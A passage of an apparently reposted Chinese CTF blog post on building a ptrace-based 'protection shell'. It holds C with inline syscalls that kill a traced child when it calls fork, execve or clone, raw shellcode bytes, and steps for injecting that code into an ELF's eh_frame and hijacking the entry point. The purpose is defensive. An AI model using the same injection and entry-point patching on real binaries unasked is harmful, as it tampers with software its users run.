BF 2B 02 00 00 B8 3C 00 00 00 0F 05 90 48 83 C4 
78 5B 5D 59 5a 5e 5f

32 位的 C 代码和 shellcode 如下,编译的时候要关闭位置无关代码,否则 gcc 在 32 位下会引入 __x86.get_pc_thunk.ax 函数,从而用到了 GOT,导致生成的 shellcode 不能移植

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <stdio.h>

void d(){
    pid_t child;
    int status;

    struct user_regs_struct regs;

    asm(
        "movl $2, %%eax;" //fork
        "int $0x80;"
        "movl %%eax,%0":"=r"(child)
    );
    if(child == 0) {
    asm(
        "movl $26, %eax;" // ptrace
        "xorl %ecx, %ecx;" //2
        "xorl %edx, %edx;" //3
        "xorl %esi, %esi;" //4
        "xorl %ebx, %ebx;" //1
        "int $0x80;" //ptrace(PTRACE_TRACEME)
        "movl $20, %eax;" // getpid
        "int $0x80;" 
        "movl %eax, %ebx;" // 0 1
        "movl $19, %ecx;" // 2
        "movl $37, %eax;" // 0 kill
        "int $0x80;"
    );
    //kill(getpid(), 19);
    goto end;
    } else {
    asm(
        "movl $114, %eax;" // 0 wait4
        "xorl %ebx, %ebx;" // 1
        "int $0x80;"        
    );
    //wait(NULL);
    while(1){
        asm(
            "movl %0, %%ecx"::"r"(child):"%ecx" // 0 2
        );
        asm(
            "movl $26, %eax;" // 0 ptrace
            "movl $24, %ebx;" // 1
            "xorl %edx, %edx;" // 3
            "xorl %esi, %esi;" // 4
            "int $0x80;"
        );              //ptrace(PTRACE_SYSCALL, child, NULL, NULL);
        void *p = (void *)&status;
        asm(
            "movl %0, %%ebx"::"r"(child):"%ebx" // 0 1
        );
        asm(
            "movl %0, %%ecx"::"r"(p):"%ecx" // 0 2    
        );
        asm(
            "xorl %edx, %edx;" // 3
            "movl $114, %eax;" // 0 0 wait4
            "int $0x80;" //waitpid(pid)
        );
        void *regs_addr = (void *)&regs;
        asm(
            "movl %0, %%esi"::"r"(regs_addr):"%esi" // 0 4
        );
        asm(
            "movl %0, %%ecx"::"r"(child):"%ecx" // 2 
        );
        asm(
            "movl $12, %ebx;" // 0 1
            "xorl %edx, %edx;" // 3
            "movl $26, %eax;" // 0 0 ptrace
            "int $0x80;"        //ptrace(PTRACE_GETREGS)
        );
        if((regs.orig_eax == 2 || regs.orig_eax == 11 || 
            regs.orig_eax == 190 || regs.orig_eax == 120 || 
            regs.orig_eax == 252)){
            asm(
                "movl %0, %%ebx"::"r"(child):"%ebx" // 0 1  
            );
            asm(
                "movl $9, %ecx;" // 0 2
                "movl $37, %eax;" // 0 0 kill
                "int $0x80;"
            );
            //kill(child, 9);
            break;
        }
    }
    asm(
        "movl $555, %ebx;" // 0 1
        "movl $1, %eax;" // 0 0 exit
        "int $0x80;"
    );
    }
end:
return;
}

int main(){
    d();
    execl("/bin/ls", ".");
    //system("ls");
    return 0;
}

shellcode(加入了 pusha 和 popa):

60 55 89 E5 56 53 83 EC 60 B8 02 00 00 00 CD 80 
89 C0 89 45 F4 83 7D F4 00 75 29 B8 1A 00 00 00 
31 C9 31 D2 31 F6 31 DB CD 80 B8 14 00 00 00 CD 
80 89 C3 B9 13 00 00 00 B8 25 00 00 00 CD 80 E9 
9F 00 00 00 B8 72 00 00 00 31 DB CD 80 8B 45 F4 
89 C1 B8 1A 00 00 00 BB 18 00 00 00 31 D2 31 F6 
CD 80 8D 45 E8 89 45 F0 8B 45 F4 89 C3 8B 45 F0 
89 C1 31 D2 B8 72 00 00 00 CD 80 8D 45 A4 89 45 
EC 8B 45 EC 89 C6 8B 45 F4 89 C1 BB 0C 00 00 00 
31 D2 B8 1A 00 00 00 CD 80 8B 45 D0 83 F8 02 74 
24 8B 45 D0 83 F8 0B 74 1C 8B 45 D0 3D BE 00 00 
00 74 12 8B 45 D0 83 F8 78 74 0A 8B 45 D0 3D FC 
00 00 00 75 88 8B 45 F4 89 C3 B9 09 00 00 00 B8 
25 00 00 00 CD 80 90 BB 2B 02 00 00 B8 01 00 00 
00 CD 80 90 83 C4 60 5B 5E 5D 61

那么接下来我们实践看一下,编写程序如下

#include<stdio.h>

int main(){
    system("ls");
}

执行效果如下

然后开始植入代码到 eh_frame

篡改程序入口到 eh_frame

修改 eh_frame 的权限为 7

计算 jmp 到 start 上去的偏移,lea 的指令长度为 7,我们 shellcode 结束的地方是 0x213c,所以 lea 的地址是 0x213d,所以这个时候的 rip 是 0x2144,计算 start 函数到这里的偏移(如果没有开启 PIE 的话就直接 jmp 绝对地址

生成 shellcode

from pwn import *

context.arch = 'amd64'

code = '''
    lea r15, [rip-0x10e4]
    jmp r15
'''

for i in list(asm(code, arch='amd64')):
    print(hex(i)[2:].rjust(2, '0'), end = ' ')
print()

植入在之前通防壳的后面

现在我们再去执行一下 system 看看

另外说一句,对于 32 位的程序,由于 pwntools 在生成代码的时候很蛋疼,对重定位的检测很离谱,所以我们最好直接用 opcode 来写,jmp 指令的 opcode 为 E9,操作数为 4 字节,指令长度为 5 字节,4 字节的操作数即为相对偏移,支持负数,所以我在 32 位程序上就是直接写 jmp 指令,当然,64 位下也是一样的,区别不大,大概改成下面这样即可

 

=========== End

 

posted @ 2024-12-16 21:48  lsgxeva  阅读(25)  评论(0编辑  收藏  举报